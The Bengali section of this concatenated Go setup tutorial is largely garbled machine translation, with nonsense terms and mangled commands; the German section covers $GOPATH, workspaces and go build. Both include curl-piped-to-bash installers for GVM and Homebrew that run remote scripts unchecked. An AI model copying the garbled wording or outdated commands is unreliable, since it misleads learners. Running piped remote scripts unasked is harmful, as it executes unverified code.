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1 ১ গো এনভায়রনমেন্ট কনফিগারেশন

গো এর ভুবনে আপনাকে স্বাগতম! পরম করুণাময় সৃষ্টিকর্তার নামে শুরু করছি।

গো একটি ওপেনসোর্স, কম্পাইল প্রোগ্রামিং ল্যাঙ্গুয়েজ যেটি ২০০৭ সালে রব পাইক, কেন থমসন এবং রবার্ট গ্রিসমার মিলে ডিজাইন করেন। এটি স্ট্যাটিক টাইপ ল্যাঙ্গুয়েজ এবং এর সিনট্যাক্স অনেকটা সি প্রোগ্রামিং ল্যাঙ্গুয়েজ এর মত। গো এর সুবিধাসমূহ নিম্নে দেয়া হলঃ


	অনেক বড় প্রজেক্ট কয়েক সেকন্ডের মধ্যে কম্পাইল করতে পারে

	গারবেজ কালেকশন সুবিধা

	এমন একটা সফটওয়্যার ডেভেলপমেন্ট মডেল প্রদান করে যেটা সি-স্টাইল হেডারের সমস্যা দূর করে

	স্ট্যাটিক ল্যাঙ্গুয়েজ যার টাইপ সিস্টেম এর সীমা নেই। এটা অনেকটা অবজেক্ট-ওরিয়েণ্টেড প্রোগ্রামিং ল্যাঙ্গুয়েজের মত

	গো ল্যাঙ্গুয়েজ লেভেলে কনকারেন্সি এবং কমিউনিকেশন সাপোর্ট করে

	মাল্টি-কোর প্রসেসরের জন্য ডিজাইন করা

	স্ট্রিং এবং ম্যাপ ল্যাঙ্গুয়েজে বিল্টইন দেয়া আছে



গো একটি কম্পাইল ল্যাঙ্গুয়েজ। এটা একই সাথে স্ট্যাটিক ল্যাঙ্গুয়েজের সিকিউরিটি এবং ইন্টারপ্রেটেড ও ডায়নামিক ল্যাঙ্গুয়েজের ডেভেলপমেন্ট সুবিধা প্রদান করে। গো একটি আধুনিক প্রোগ্রামিং ল্যাঙ্গুয়েজ যা নেটওয়ার্কিং ও মাল্টি-কোর সাপোর্ট করে।

পরবর্তী ধাপে আমরা দেখব কিভাবে গো ইনস্টল ও ইনভাইরনমেন্ট কনফিগারেশন করতে হয়।





1.1 লিঙ্ক


	ডিরেক্টরি

	পরিবর্তী ধাপ: ইনস্টলেশন







2 ইনস্টলেশন ১.১





2.1 ইনস্টলেশন ১.১

আপনার কম্পিউটারে গো এর পরিবেশ কনফিগার করার অনেক উপায় আছে এবং আপনি আপনার পছন্দ মত যে কোনটি চয়ন করতে পারেন। নিম্নরূপ তিনটি সর্বাধিক প্রচলিত উপায়।


	অফিসিয়াল ইনস্টলেশন প্যাকেজ।

	গো টিম উইন্ডোজ, লিনাক্স, ম্যাক এবং অন্যান্য অপারেটিং সিস্টেমে সুবিধাজনক ইনস্টলেশন প্যাকেজগুলি প্রদান করে। এটি সম্ভবত শুরু করার সবচেয়ে সহজ উপায়। আপনি গোল্যাং ডাউনলোড পেজ থেকে ইনস্টলার পেতে পারেন।




	সোর্স কোড থেকে এটি ইনস্টল করতে পারেন


	এটি ডেভেলপারদের সাথে পরিচিত যারা ইউনিক্স-মত সিস্টেমের সাথে পরিচিত।




	তৃতীয় পক্ষের সরঞ্জাম ব্যবহার করে

	গো ইনস্টল করার জন্য অনেক তৃতীয় পক্ষের সরঞ্জাম এবং প্যাকেজ ম্যানেজার রয়েছে, যেমন উবুন্টুতে FT- প্রফিট এবং ম্যাকে হোমব্রো ।

আপনি যদি কম্পিউটারে একাধিক সংস্করণ ইনস্টল করতে চান, তাহলে আপনাকে GVM নামক একটি প্যাকেজ ম্যানেজার ইনস্টল করতে হবে। এই কাজের জন্য এটি সবচেয়ে ভালো , অন্যথায় আপনাকে নিজে এটি পরিচালনা করতে হবে।










2.2 সোর্স কোড থেকে ইনস্টল করুন

গো ১.৫ এবং ঊর্ধ্বগামী কম্পাইল করার জন্য, শুধুমাত্র আপনার গো এর আগের সংস্করণটি দরকার, যেমনটি বুটস্ট্র্যাপিং অর্জন করেছে। আপনার শুধুমাত্র Go কম্পাইল প্রয়োজন

go ১.৪ নীচের দিকে কম্পাইল করতে,আপনাকে সি সি-কম্পাইলার প্রয়োজন হবে কারণ গো এর কিছু অংশ এখনও প্ল্যান 9 সি এবং এটি এন্ড টি এসেম্বারের মধ্যে লেখা আছে।

ম্যাক এ যদি আপনি Xcode ইনস্টল করেন তবে আপনার ইতিমধ্যেই কম্পাইলার আছে।

ইউনিক্স-মত সিস্টেমগুলিতে, আপনি gcc বা অনুরূপ কম্পাইলার ইনস্টল করতে হবে। উদাহরণস্বরূপ, প্যাকেজ ম্যানেজার apt-get (উবুন্টুতে অন্তর্ভুক্ত) ব্যবহার করে, প্রয়োজন অনুসারে প্রয়োজনীয় কম্পাইলার ইনস্টল করতে পারেন:

sudo apt-get install gcc libc6-dev

উইন্ডোজে, আপনার জি.সি.সি. ইনস্টল করার জন্য আপনাকে মিনিগড ইনস্টল করতে হবে। ইনস্টলেশনের পরে আপনার এনভেরিয়েবলগুলি কনফিগার করতে ভুলবেন না। (*** এটির মত দেখায় যে এটি একটি অনুবাদক দ্বারা মন্তব্য করা হয়েছে: যদি আপনি 64-বিট উইন্ডোজ ব্যবহার করছেন তবে আপনাকে 64-বিট সংস্করণটি ইনস্টল করতে হবে MinGW ***)

এই মুহুর্তে, Go সোর্স কোড ক্লোন করতে এবং এটি কম্পাইল করার জন্য নিম্নোক্ত কমান্ডগুলি চালনা করুন (*** এটি আপনার বর্তমান ডিরেক্টরীতে সোর্স কোড ক্লোন করবে। আপনি চালিয়ে যাওয়ার আগে আপনার কাজের পাথ পরিবর্তন করুন। এটি কিছু সময় নিতে পারে। *** )

git clone https://go.googlesource.com/go
cd go/src
./all.bash 

একটি সফল ইনস্টলেশন  "সমস্ত পরীক্ষা পাস"  বার্তার  সঙ্গে শেষ হবে।

উইন্ডোজে, আপনি ’all.bat` চালানোর মাধ্যমে এটি অর্জন করতে পারেন।

আপনি যদি উইন্ডোজ ব্যবহার করেন, তাহলে ইনস্টলেশনের প্যাকেজটি আপনার ওয়্যারলেস ভেরিয়েবল স্বয়ংক্রিয়ভাবে সেট করবে। ইউনিক্স-মত সিস্টেমগুলিতে, আপনাকে এই ভেরিয়েবলগুলিকে ম্যানুয়ালি সেট করতে হবে। (*** আপনার Go সংস্করণটি 1.0 এর চেয়ে বড় হলে আপনার $ GOBIN সেট করতে হবে না এবং এটি স্বয়ংক্রিয়ভাবে আপনার $ GOROOT / bin এর সাথে সম্পর্কিত হবে, যা আমরা পরবর্তী অংশে আলোচনা করব ***)।

export GOROOT=$HOME/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOROOT/bin

আপনি যদি আপনার পর্দায় নিম্নলিখিত তথ্য দেখতে পান, আপনি সব সেট হয়।

[image: ]

চিত্র 1.1 সূত্র কোড থেকে ইনস্টল করার পরে তথ্য

একবার আপনি Go এর ব্যবহারের তথ্য দেখেন, এর মানে হল আপনি সফলভাবে ইনস্টল করেছেন আপনার কম্পিউটারে । যদি এটি " কমান্ডের মতো না বলে“, তবে পরীক্ষা করুন যে আপনার $ PATH এনভায়রনমেন্ট ভেরিয়েবল Go- এর ইনস্টলেশন পাথ রয়েছে কিনা।





2.3 স্ট্যান্ডার্ড ইনস্টলেশন প্যাকেজ ব্যবহার করে

গো আর প্রতিটি সমর্থিত অপারেটিং সিস্টেমের জন্য এক ক্লিকে ইনস্টলেশনের প্যাকেজ রয়েছে । এই প্যাকেজটি ডিফল্টভাবে / usr / local / go (c: \ Go উইন্ডোজে) চালু হবে। অবশ্যই এই পরিবর্তন করা যেতে পারে, কিন্তু উপরে দেখানো হিসাবে আপনাকে সব পরিবেশের ভেরিয়েবলগুলি পরিবর্তন করতে হবে।





2.3.1 আপনার অপারেটিং সিস্টেম 32-বিট বা 64-বিট কিভাবে পরীক্ষা করবেন ?

আমাদের পরবর্তী পদক্ষেপটি আপনার অপারেটিং সিস্টেমের প্রকারের উপর নির্ভর করে, তাই আমাদের স্ট্যান্ডার্ড ইনস্টলেশন প্যাকেজগুলি ডাউনলোড করার আগে এটি পরীক্ষা করতে হবে।

আপনি যদি উইন্ডোজ ব্যবহার করছেন, তাহলে win + আর টিপুন এবং কমান্ড টুলটি রান করুন। Systeminfo কমান্ডটি টাইপ করুন এবং এটি আপনাকে কিছু দরকারী সিস্টেম তথ্য দেখাবে। “সিস্টেম type” বলে লাইন খুঁজুন - যদি আপনি “x64- ভিত্তিক পিসি” দেখতে পান যা আপনার অপারেটিং সিস্টেম 64-বিট, 32-বিট নয়।

আমি ম্যাক ওএসএক্সে 32-বিট প্রসেসরকে আর সমর্থন করি না কেননা আমি ম্যাক ইউজার হিসাবে 64-বিট প্যাকেজটি ডাউনলোড করার জন্য দৃঢ়ভাবে সুপারিশ করছি।

লিনাক্স ব্যবহারকারীরা সিস্টেমের তথ্য দেখতে টার্মিনালে uname -a টাইপ করতে পারেন।

একটি 64 বিট অপারেটিং সিস্টেম নিম্নলিখিত দেখাবে:

    <Some Details> x86_64 x86_64 x86_64 GNU / Linux

    // কিছু মেশিন যেমন উবুন্টু 10.04 নিম্নলিখিত হিসাবে প্রদর্শন করা হবে

    x86_64 GNU / লিনাক্স

32-বিট অপারেটিং সিস্টেম পরিবর্তে দেখান:

    <Some Details> i686 i686 i386 GNU / লিনাক্স





2.3.2 ম্যাক

[ডাউনলোড পেজ ] (https://golang.org/dl/) এ যান, 32 বিট সিস্টেমের জন্য go1.4.2.darwin-386.pkg (পরবর্তী সংস্করণে 32-বিট ডাউনলোড নেই।) নির্বাচন করুন এবং go1.8.3.darwin-amd64.pkg 64 বিট সিস্টেমের জন্য। “পরবর্তী” ক্লিক করে শেষ পর্যন্ত সব পথ ধরে, আপনার সিস্টেমের $ PATH- এ যোগ করার পরে ~ / go / bin 'যোগ করা হবে। এখন টার্মিনাল খুলুন এবংgo` টাইপ করুন। আপনি চিত্র 1.1 এ প্রদর্শিত একই আউটপুট দেখতে হবে।





2.3.3 লিনাক্স

[ডাউনলোড পেজ] (https://golang.org/dl/) এ যান, 32-বিট সিস্টেমের জন্য go1.8.3.linux-386.tar.gz এবংgo1.8.3.linux-amd64.tar নির্বাচন করুন 64-বিট সিস্টেমের জন্য .gz। ধরুন আপনি ‘$ GO_INSTALL_DIR’ পথে গিয়ে ইনস্টল করতে চান। Tar zxvf go1.8.3.linux-amd64.tar.gz -C $ GO_INSTALL_DIR কমান্ডের সাহায্যে আপনার নির্বাচিত পাথেtar.gz আনকম্প্রেস করুন। তারপরে আপনার $ PATH সেট করুন: ‘রপ্তানি PATH = $ PATH: $ GO_INSTALL_DIR / go / bin’ এখন শুধু টার্মিনাল খুলুন এবং go টাইপ করুন আপনি এখন চিত্র 1.1 এ প্রদর্শিত একই আউটপুট দেখতে হবে।





2.3.4 উইন্ডোজ

[ডাউনলোড পেজ] (https://golang.org/dl/) এ যান, 32 বিট সিস্টেমের জন্য go1.8.3.windows-386.msi এবংgo1.8.3.windows-amd64.msi নির্বাচন করুন 64-বিট সিস্টেম “পরবর্তী” ক্লিক করে শেষ পর্যন্ত সমস্ত পথ ধরে, c: / go / bin ' পাথ’ এ যোগ করা হবে। এখন শুধু একটি কমান্ড লাইন উইন্ডো খুলুন এবং go টাইপ করুন আপনি এখন চিত্র 1.1 এ প্রদর্শিত একই আউটপুট দেখতে হবে।





2.4 তৃতীয় পক্ষের সরঞ্জামগুলি ব্যবহার করুন





2.4.1 জিএমএম

GVM একটি গৌণ সংস্করণ নিয়ন্ত্রণ সরঞ্জাম যা তৃতীয় পক্ষের দ্বারা তৈরি হয়, যেমন রুবি জন্য rvm। এটি ব্যবহার করতে বেশ সহজ। আপনার টার্মিনালে নিম্নোক্ত কমান্ডগুলি লিখে gvm ইনস্টল করুন:

bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)

তারপর আমরা নিম্নলিখিত কমান্ড ব্যবহার করে ইনস্টল করবো :

gvm install go1.8.3
gvm use go1.8.3

এই প্রক্রিয়াটি সম্পূর্ণ হওয়ার পরে, আপনার সব সেট আছে।





2.4.2 Apt-get

উবুন্টু লিনাক্সের সবচেয়ে জনপ্রিয় ডেস্কটপ রিলিজ সংস্করণ। এটি প্যাকেটগুলি পরিচালনার জন্য apt-get ব্যবহার করে। আমরা নিম্নলিখিত কমান্ড ব্যবহার করে Go ইনস্টল করতে পারি

sudo add-apt-repository ppa:gophers/go
sudo apt-get update
sudo apt-get install golang-go





2.4.3 wget


wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local 

# Go environment
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath 

1.8 থেকে শুরু করে, GOPATH এনভায়রনমেন্ট ভেরিয়েবলটি এখন যদি সেট না থাকে তবে একটি ডিফল্ট মান থাকে। এটা ইউনিক্সে $ HOME / go এবং Windows এ% USERPROFILE% / go এ ডিফল্ট।





2.4.4 Homebrew

Homebrew একটি সফটওয়্যার ম্যানেজমেন্ট টুল যা সাধারণত প্যাকেজগুলি পরিচালনার জন্য ম্যাকে ব্যবহৃত হয়। Go ইনস্টল করার জন্য নিম্নোক্ত কমান্ডগুলি টাইপ করুন।

১. হোমব্রু ইনস্টল করুন

     /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

২. গো ইনস্টল করুন

    brew update && brew upgrade
    brew install go
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4 1 Einrichtung der Go Entwicklungsumgebung

Willkommen in der Welt von Go. Lass sie uns erforschen.

Go ist eine schnell kompilierte, automatisch speicherbereinigte, multitaskingfähige Programmiersprache. Sie hat folgende Vorteile:


	Kompiliert große Projekte binnen Sekunden

	Bietet ein einfaches Model zur Softwareentwicklung, welches die meisten Probleme um C-ähnliche Probleme mit Header-Dateien vermeidet

	Sie ist eine statische Sprache ohne vielschichte Ebenen im Datentypensystem, sodass Benutzer nicht viel Zeit damit verschwenden, Verbindungen zwischen Datentypen herauszufinden. Es ist mehr wie eine leichtgewichtige, objekt-orientierte Programmiersprache.

	Führt eine automatische Speicherbereinigung (Garbage Collection) durch. Sie bietet grundlegende Unterstützung für das parallele Ausführen von Aufgaben und die Kommunikation zwischen diesen.

	Entworfen für Computer mit mehreren Rechnenkernen.



Go ist eine kompilierte Sprache. Sie vereint während der Entwicklung die Effizienz von dynamischen Programmiersprachen mit der Sicherheit von statischen Sprachen. Sie ist die erste Wahl für moderne, mit Mehrkernprozessoren ausgestatten Computern, welche für die Netzwerkprogrammierung genutzt werden. Um diesen Anforderungen gerecht zu werden, müssen grundsätzliche Probleme in einer solchen Sprache gelöst werden. Dazu zählen ein ausdruckstarkes und zugleich leichtgewichtiges Datentypensystem, native Unterstützung zum simultanen Ausführen von Aufgaben und eine stark regulierte, automatische Speicherbereinigung. Eine lange Zeit gab es keine Packages oder andere Werkzeuge, mit dem Ziel, die genannten Probleme elegant zu lösen. Dies war letztendlich die Motivation, um Go zu entwicklen.

In diesem Kapitel werde ich Dir zeigen, wie Du Deine eigene Go-Entwicklungsumgebung installierst und einrichtest.





4.1 Links


	Inhaltsverzeichnis

	Nächster Abschnitt: Installation







5 1.1 Installation





5.1 Drei Wege Go zu installieren

Es gibt viele Wege, um eine Go-Entwicklungsumgebung auf Deinem Computer einzurichten und Du kannst die auswählen, welche Dir gefällt. Die Folgenden sind die drei Häufigsten:


	Offizielle Installationspakete.

	Das Team um Go stellt praktische Installationspakete für Windows, Linux, Mac und andere Betriebssysteme zur Verfügung. Dies ist wahrscheinlich der einfachste Weg, um zu starten.




	Eigenhändige Kompilierung des Quellcodes.

	Beliebt untern Entwicklern, die mit UNIX-ähnlichen Systemen vertraut sind.




	Nutze Programme von Dritten.

	Da Draußen gibt es eine Menge Werkzeuge von Drittanbietern und Paketmanager, um Go zu installieren, wie apt-get in Ubuntu oder homebrew für Mac.






Im Fall, dass Du mehr als eine Version von Go auf Deinem Computer installieren möchtest, dann empfehle ich Dir, einen Blick auf GVM zu werfen. Es ist die bisher beste Möglichkeit, die ich soweit gesehen habe, um dies zu tun. Andernfalls musst Du diese Aufgabe selbst bewältigen.





5.2 Eigenhändige Kompilierung des Quellcodes

Da einige Bestandteile von Go in Plan 9 C und AT&T Assembler geschrieben sind, musst Du einen C-Compiler installieren, bevor Du den nächsten Schritt durchführst.

Auf dem Mac, sofern Du Xcode installiert hast, ist bereits ein entsprechender Compiler vorhanden.

Auf UNIX-ähnlichen Systemen musst Du gcc oder einen vergleichbaren Compiler installieren. Zum Beispiel mit dem Paketmanager apt-get (welcher in Ubuntu integriert ist), kannst Du die benötigten Compiler wie folgt installieren:

sudo apt-get install gcc libc6-dev

In Windows wird MinGW vorrausgesetzt, um folglich gcc zu installieren. Vergiss nicht, die Umgebungsvariablen nach der Installation zu konfigurieren. ( Alles was so aussieht wie dies, ist eine Anmerkung von den Übersetzern: Wenn Du eine 64-Bit Version von Windows nutzt, solltest Du auch eine 64-Bit Variante von MinGW installieren. )

Zu diesem Zeitpunkt, führe die folgenden Befehle aus, um Gos Quellcode zu “klonen” und zu kompilieren. ( Der Quellcode wird in Dein aktuelles Arbeitsverzeichnis “geklont”. Wechsle dieses, bevor Du fortfährst. Es könnte eine Weile dauern.)

git clone https://go.googlesource.com/go
cd go/src
./all.bash 

Eine erfolgreiche Installation wird mit der Nachricht “ALL TESTS PASSED.” beendet.

In Windows kannst Du das Selbe erreichen, indem Du all.bat ausführst.

Wenn Du Windows nutzt, richtet die Installationsroutine die Umgebungsvariablen automatisch ein. Auf UNIX-ähnlichen Systemen musst Du diese wie folgt manuell setzen. ( Nutzt Du Go 1.0 oder höher, dann brauchst Du $GOBIN nicht zu definieren, da diese Umgebungsvariable relativ zu $GOROOT/bin gesetzt wird, welche wir im nächsten Abschnitt behandeln werden. )

export GOROOT=$HOME/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOROOT/bin

Wenn Du die folgenden Informationen auf Deinem Bildschirm siehst, ist alles erfolgreich verlaufen.
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Abbildung 1.1 Informationen nach der manuellen Installation vom Quellcode

Sobald Du Informationen zur Nutzung von Go siehst, bedeutet dies, dass Du Go erfolgreich auf Deinem Computer installiert hast. Steht dort jedoch “no such command”, überprüfe die $PATH Umgebungsvariable und schaue, ob Sie den Installationspfad von Go beinhaltet.





5.3 Nutze die offiziellen Installationspakete

Go bietet auch Ein-Klick-Installationspakete für jedes unterstützte Betriebssystem. Dieser Vorgang wird Go standardmäßig unter /usr/local/go (oder C:\Go unter Windows) installieren. Natürlich kannst Du dies nach belieben anpassen, jedoch musst Du die Umgebungsvariablen wie oben gezeigt von Hand ändern.





5.3.1 Wie überprüfe ich, ob mein Betriebssystem eine 32-Bit oder 64-Bit Variante ist?

Der nächste Schritt hängt von der Art Deines Betriebssystems ab. Deshalb müssen wir diese erst herausfinden, bevor wir mit der Installation beginnen.

Unter Windows, drücke Win+R und öffne die Kommandozeile, indem du cmd eingibst und Enter drückst. Tippe nun systeminfo ein und Du wirst ein paar nützliche Informationen vorfinden. Suche nach der Zeile “Systemtyp”, welche die benötigten Informationen beinhaltet. Wenn Du “x64-based PC” liest, besitzt Du ein 64-Bit System, andernfalls ist es eine 32-Bit Version.

Ich empfehle Dir dringlichst die 64-Bit Version von Go herunterzuladen, solltest Du ein Mac-Benutzer sein, da Go keine reinen 32-Bit-Prozessoren mehr unter Mac OSX unterstützt.

Linux-Benutzer können uname -a im Terminal eintippen, um die Systeminformationen einzusehen. Ein 64-Bit Betriebssystem wird folgendes anzeigen:

<Irgendeine Beschreibung> x86_64 x86_64 x86_64 GNU/Linux
// Einige Computer mit Ubuntu 10.04 werden folgendes ausgeben
x86_64 GNU/Linux

Ein 32-Bit System sieht dagegen folgendermaßen aus:

<Irgendeine Beschreibung> i686 i686 i386 GNU/Linux





5.3.2 Mac

Rufe die Seite zum Herunterladen auf und wähle go1.4.2.darwin-386.pkg für 32-Bit Systeme und go1.4.2.darwin-amd64.pkg für 64-Bit Systeme. Installiere Go, indem Du immer auf “weiter” klickst. ~/go/bin wird automatisch zur Umgebungsvariable $PATH Deines Systems am Ende der Installation hinzugefügt. Öffne nun ein Terminal und tippe go ein. Du solltest die selben Ausgaben wie in Abbildung 1.1 sehen.





5.3.3 Linux

Rufe die Seite zum Herunterladen auf und wähle go1.4.2.linux-386.tar.gz für 32-Bit Systeme und go1.4.2.linux-amd64.tar.gz für 64-Bit Systeme. Angenommen, Du willst Go im $GO_INSTALL_DIR Pfad installieren: entpacke das tar.gz Archiv und wähle Deinen Pfad mit dem Befehl tar zxvf go1.4.2.linux-amd64.tar.gz -C $GO_INSTALL_DIR. Dann setze die Umgebungsvariable $PATH mit export PATH=$PATH:$GO_INSTALL_DIR/go/bin. Öffne nun ein Terminal und gib go ein. Du solltest die selben Ausgaben wie in Abbildung 1.1 sehen.





5.3.4 Windows

Rufe die Seite zum Herunterladen auf und wähle go1.4.2.windows-386.msi für 32-Bit Systeme und go1.4.2.windows-amd64.msi für 64-Bit Systeme. Installiere Go, indem Du immer auf “weiter” klickst. c:/go/bin wird zu path hinzugefügt. Öffne nun ein Terminal und tippe go ein. Du solltest die selben Ausgaben wie in Abbildung 1.1 sehen.





5.4 Nutze Programme von Dritten





5.4.1 GVM

GVM ist ein Multi-Versions-Kontroll-Werkzeug’für Go und wurde von einem unabhängigen Programmier entwickelt, wie rvm für Ruby. Es ist ziemlich einfach zu nutzen. Installiere gvm indem Du folgendes in ein Terminal eingibst:

bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)

Dann installieren wir Go wie folgt:

gvm install go1.4.2
gvm use go1.4.2

Ist die Installation abgeschlossen, sind wir auch schon fertig.





5.4.2 apt-get

Ubuntu ist die beliebteste Desktopvariante für Linux. Es nutzt apt-get, um Pakete zu verwalten. Wir können Go mit den unten stehenden Befehlen installieren:

sudo add-apt-repository ppa:gophers/go
sudo apt-get update
sudo apt-get install golang-stable





5.4.3 Homebrew

Homebrew ist ein oftmals auf dem Mac genutztes Programm, um Pakete zu verwalten. Gib einfach folgendes ein, um Go zu installieren:

brew install go





5.5 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Einrichtung der Go Entwicklungsumgebung

	Nächster Abschnitt: $GOPATH und Workspaces







6 1.2 $GOPATH und Workspaces





6.1 $GOPATH

Alle Go-Befehle bauen auf einer wichtigen Umgebungsvariable mit dem Namen $GOPATH. Bedenke, dass es sich nicht um $GOROOT, also den Installationspfad von Go, handelt. Diese Variable verweist vielmehr auf den Go Workspace auf Deinem Computer (Ich benutze den unten stehenden Pfad auf meinem Computer; solltest Du eine andere Ordnerstruktur haben, musst Du den Pfad anpassen).

In UNIX-ähnlichen System sollte die Variable dieser ähnlich sein:

export GOPATH=/home/apple/mygo

In Windows musst Du eine neue Umgebungsvariable mit dem Namen $GOPATH erstellen und ihren Wert auf C:\mygo( Dieser Wert ist abhängig von dem Pfad Deines Workspaces ) setzen.

Es ist in Ordnung, mehr als einen Pfad (bzw. Workspace) im $GOPATH zu speichern, aber bedenke, dass Du die Pfade mit : (oder ; unter Windows) von einander trennen musst. go get wird Pakete stets unter dem ersten, angegebenen Workspace speichern.

IM $GOPATH müssen die drei bestimmte Verzeichnisse vorhanden sein:


	src für Quellcode mit der Dateiendung .go, .c, .g, .s.

	pkg für kompilierte Dateien mit der Dateiendung .a.

	bin für ausführbare Dateien



In diesem Buch ist mygo mein einziger Pfad in $GOPATH.





6.2 Paketverzeichnis

Erstelle Quellcodedateien und Ordner wie $GOPATH/src/mymath/sqrt.go (mymath ist der Paketname) ( Der Autor nutzt mymath als Paketnamen und gibt den Verzeichnissen, welche die Quellcodedateien beinhalten, den selben Namen).

Jedes Mal, wenn Du ein neues Paket erstellt, solltest Du einen neuen Ordner im src Verzeichnis erstellen. Diese Ordner haben überlicherweise den selben Namen, wie das Paket, welches Du nutzen möchtest. Die Verzeichnisse können zudem beliebig verschachtelt werden. Erstellst Du beispielsweise das Verzeichnis $GOPATH/src/github.com/astaxie/beedb, dann wäre das entsprechende Paket github.com/astaxie/beedb. Das Paket ist immer das letzte Verzeichnis im Pfad, in diesem Fall beedb.

Führe die Folgenden Befehle aus. ( Nun widmet sich der Autor wieder den praktischen Dingen. )

cd $GOPATH/src
mkdir mymath

Erstelle eine neue Datei mit dem Namen sqrt.go, die folgendes beinhalten soll.

// Quellcode von $GOPATH/src/mymath/sqrt.go
package mymath

func Sqrt(x float64) float64 {
    z := 0.0
    for i := 0; i < 1000; i++ {
        z -= (z*z - x) / (2 * x)
    }
    return z
}

Nun haben wir das Paketverzeichnis und den dazugehörigen Quellcode. Ich empfehle Dir, alle Paketverzeichnisse nach dem Paket selbst zu benennen und den gesamten, dazugehörigen Quellcode dort zu speichern.





6.3 Pakete kompilieren

Oben haben wir bereits unser Paket erstellt, aber wie kompilieren wir es, um es nutzen zu können? Dafür gibt es zwei Wege.


	Navigiere im Terminal zum Paketverzeichnis und führe den go install Befehl aus.

	Führe den oberen Befehl aus, diesmal jedoch mit einem Dateinamen wie go install mymath.



Nach der Kompilierung können wir den folgenden Ordner öffnen.

cd $GOPATH/pkg/${GOOS}_${GOARCH}
// Wie Du siehst, wurde eine neue Datei erstellt
mymath.a

Die Datei mit der Endung .a ist die Binärdatei unseres Pakets. Aber wie nutzen wie diese nun?

Logischerweise müssen wir dafür eine neue Anwendung schreiben, um das Paket zu nutzen.

Erstelle ein neues Paket für die Anwendung mit dem Namen mathapp.

cd $GOPATH/src
mkdir mathapp
cd mathapp
vim main.go

Und der Code:

// Quellcode von $GOPATH/src/mathapp/main.go 
package main

import (
    "mymath"
    "fmt"
)

func main() {
    fmt.Printf("Hallo, Welt. Sqrt(2) = %v\n", mymath.Sqrt(2))
}

Um die Anwendung zu kompilieren, müssen wir zurück in das Verzeichnis, in welchem die Anwendung liegt; in diesem diesem Falle unter $GOPATH/src/mathapp. Führe nun den Befehl go install aus. Nun solltest Du eine neue ausführbare Datei mit dem Namen mathapp im Verzeichnis $GOPATH/bin/ vorfinden. Um das Programm auszuführen, tippe den Befehl ./mathapp ein. Im Terminal solltest Du nun den unteren Text lesen können.

Hallo, Welt. Sqrt(2) = 1.414213562373095





6.4 Installation von Paketen Dritter (Remote Packages)

Go umfasst ein Werkzeug zum Installieren von Remote Packages, also Paketen die von anderen Programmierern erstellt wurden. Mit dem Befehl go get kannst Du diese für die eigene Nutzung installieren. Es unterstützt die meisten Open Source Communities wie Github, Google Code, Bitbucket und Launchpad.

go get github.com/astaxie/beedb

Du kannst go get -u … nutzen, um ein Remote Package zu aktualisieren. Zugleich werden auch alle benötigten Abhängigkeiten mit installiert.

Dieser Befehl nutzt verschiedene Versionskontrollsysteme für die verschiedenen Open Source Plattformen. So wird beispielsweise git für Github und hg für Google Code verwendet. Daher musst Du zuerst die entsprechenden Versionskontrollsysteme installieren, ehe Du go get nutzen kannst.

Nach dem Ausführen der oben gezeigten Befehle, sollte die Orderstruktur etwa so aussehen.

$GOPATH
    src
     |-github.com
         |-astaxie
             |-beedb
    pkg
     |--${GOOS}_${GOARCH}
         |-github.com
             |-astaxie
                 |-beedb.a
                 

Im Hintergrund “klont” go get den Quellcode nach $GOPATH/src auf deinem Computer und nutzt dann go install zur Installation der Remote Packages.

Du kannst Remote Packages wie lokale Pakete nutzen.

import "github.com/astaxie/beedb"





6.5 Die komplette Verzeichnisstruktur

Wenn Du alle Schritte befolgt hast, sollte Deine Verzeichnisstruktur wie folgt aussehen.

bin/
    mathapp
pkg/
    ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64
  mymath.a
  github.com/
    astaxie/
      beedb.a
src/
    mathapp
        main.go
    mymath/
        sqrt.go
    github.com/
        astaxie/
            beedb/
                beedb.go
                util.go
                

Nun kannst Du die Ordnerstruktur klar erkennen. bin beinhaltet alle ausführbaren Dateien, pkg alle compilierten Dateien und src den Quellcode der Pakete.

(Das Format von Umgebungsvariable unter Windows ist %GOPATH%. Da dieses Buch sich jedoch am UNIX-Stil orientiert, müssen Windowsnutzer das Format von Hand ändern.)





6.6 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Installation

	Nächster Abschnitt: Go Befehle







7 1.3 Go Befehle





7.1 Go Befehle

Die Programmiersprache Go bringt viele nützliche Befehle für diverse Anwendungszwecke mit sich. Du erhälst eine Übersicht, indem Du go im Terminal ausführst.
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Figure 1.3 Eine detaillierte Übersicht aller Go Befehle

Jeder Befehl kann nützlich für uns sein. Betrachten wir den Anwendungszweck von ein paar Befehlen.





7.2 go build

Dieser Befehl ist für die Kompilierung und das Testen des Quellcodes verantwortlich. Abhängige Pakete werden ebenfalls mit kompiliert, sofern dies nötig ist.


	Wenn das Paket nicht main entspricht, wie unser mymath Paket aus Abschnitt 1.2 nicht ausgeführt, nachdem Du go build ausgeführt hast. Solltest Du Paket-Dateien mit der Endung .a in $GOPATH/pkg, nutze stattdessen go install.

	Sollte das Paket main entsprechen, dann wird eine ausführbare Binärdatei im selben Verzeichnis generiert. Möchtest Du stattdessen, dass Die Binärdatei in $GOPATH/bin generiert wird, nutze den Befehl go install oder go build -o ${PATH_HERE}/a.exe..

	Befinden sich viele Dateien in einem Ordner, aber Du möchtest nur eine bestimmte Datei kompilieren, dann füge den Dateinamen am Ende von go build hinzu. Ein Beispiel wäre go build a.go. go build wird alle Dateien im selben Ordner kompilieren.

	Du kannst alternativ auch den Namen der ausführbaren Binärdatei ändern. So erhält das mathapp Projekt (aus Abschnitt 1.2) mit dem Befehl go build -o astaxie.exe den Namen astaxie.exe, statt mathapp.exe. Der Standardname ist immer der Verzeichnisname (sofern es kein main Paket ist) oder der Name der ersten, ausführbaren Datei (main Paket).



